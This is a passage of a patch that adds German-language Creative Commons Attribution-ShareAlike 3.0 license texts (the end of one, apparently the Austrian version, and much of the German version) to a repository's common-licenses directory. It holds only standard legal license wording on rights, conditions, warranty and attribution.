+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Geltendmachung der Vergütungsansprüche durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Die vorgenannte Nutzungsbewilligung wird für alle bekannten sowie alle noch nicht bekannten Nutzungsarten eingeräumt. Sie beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich vom Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf die Geltendmachung sämtlicher daraus resultierender Rechte.
+
+4. Bedingungen
+
+Die Erteilung der Nutzungsbewilligung gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich wiedergeben. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dasselbe gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie - soweit dies praktikabel ist - auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Bearbeitung vornehmen, müssen Sie – soweit dies praktikabel ist – auf die Mitteilung eines Lizenzgebers hin von der Bearbeitung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Bearbeitung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen,
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 US),
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts, oder
+
+ v. einer mit Creative Commons kompatiblen Lizenz
+
+ verbreiten oder öffentlich wiedergeben.
+
+ Falls Sie die Bearbeitung gemäß Abschnitt b)(v) unter einer mit Creative Commons kompatiblen Lizenz lizenzieren, müssen Sie deren Lizenzbestimmungen Folge leisten.
+
+ Falls Sie die Bearbeitung unter einer der unter b)(i)-(iv) genannten Lizenzen ("Verwendbare Lizenzen") lizenzieren, müssen Sie deren Lizenzbestimmungen sowie folgenden Bestimmungen Folge leisten: Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Bearbeitung verbreiten oder öffentlich wiedergeben. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Bearbeitung, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Bearbeitung verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf die Bearbeitung) keine technischen Maßnahmen ergreifen, die den Nutzer der Bearbeitung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Bearbeitung einen Bestandteil eines Sammelwerkes bildet; dies bedeutet jedoch nicht, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Verbreitung und die öffentliche Wiedergabe des Schutzgegenstandes oder auf ihm aufbauender Inhalte oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Urheberschaft oder die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie selbst – soweit bekannt – Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers, und/oder falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) („Zuschreibungsempfänger“), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Bearbeitung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Bearbeitung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Bearbeitung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung aller Beitragenden dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Urhebers, des Lizenzgebers und/oder des Zuschreibungsempfängers weder implizit noch explizit irgendeine Verbindung mit dem oder eine Unterstützung oder Billigung durch den Lizenzgeber oder den Zuschreibungsempfänger andeuten oder erklären.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. (Urheber)Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE ERTEILUNG DER NUTZUNGSBEWILLIGUNG UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN.
+
+6. Haftungsbeschränkung
+
+ÜBER DIE IN ZIFFER 5 GENANNTE GEWÄHRLEISTUNG HINAUS HAFTET DER LIZENZGEBER IHNEN GEGENÜBER FÜR SCHÄDEN JEGLICHER ART NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG FÜR FOLGE- ODER ANDERE SCHÄDEN, AUCH WENN ER ÜBER DIE MÖGLICHKEIT IHRES EINTRITTS UNTERRICHTET WURDE.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie erteilte Nutzungsbewilligung erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Bearbeitungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke sowie entsprechende Vervielfältigungsstücke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Bearbeitung des Schutzgegenstandes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Republik Österreich Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-SA-3.0-DE b/meta/files/common-licenses/CC-BY-SA-3.0-DE
new file mode 100644
index 0000000000..7ea586af4b
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-3.0-DE
@@ -0,0 +1,136 @@
+Creative Commons Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "*Lizenzgeber*" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+ k. "Mit Creative Commons kompatible Lizenz" bezeichnet eine Lizenz, die unter https://creativecommons.org/compatiblelicenses aufgelistet ist und die durch Creative Commons als grundsätzlich zur vorliegenden Lizenz äquivalent akzeptiert wurde, da zumindest folgende Voraussetzungen erfüllt sind:
+
+ Diese mit Creative Commons kompatible Lizenz
+
+ i. enthält Bestimmungen, welche die gleichen Ziele verfolgen, die gleiche Bedeutung haben und die gleichen Wirkungen erzeugen wie die Lizenzelemente der vorliegenden Lizenz; und
+
+ ii. erlaubt ausdrücklich das Lizenzieren von ihr unterstellten Abwandlungen unter vorliegender Lizenz, unter einer anderen rechtsordnungsspezifisch angepassten Creative-Commons-Lizenz mit denselben Lizenzelementen, wie sie die vorliegende Lizenz aufweist, oder unter der entsprechenden Creative-Commons-Unported-Lizenz.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Abwandlung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen,
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 US),
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts, oder
+
+ v. einer mit Creative Commons kompatiblen Lizenz
+
+ verbreiten oder öffentlich zeigen.
+
+ Falls Sie die Abwandlung gemäß Abschnitt (v) unter einer mit Creative Commons kompatiblen Lizenz lizenzieren, müssen Sie deren Lizenzbestimmungen Folge leisten.
+
+ Falls Sie die Abwandlungen unter einer der unter (i)-(iv) genannten Lizenzen ("Verwendbare Lizenzen") lizenzieren, müssen Sie deren Lizenzbestimmungen sowie folgenden Bestimmungen Folge leisten: Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Abwandlung verbreiten oder öffentlich zeigen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Abwandlung, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Abwandlung verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf die Abwandlung) keine technischen Maßnahmen ergreifen, die den Nutzer der Abwandlung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Abwandlung einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
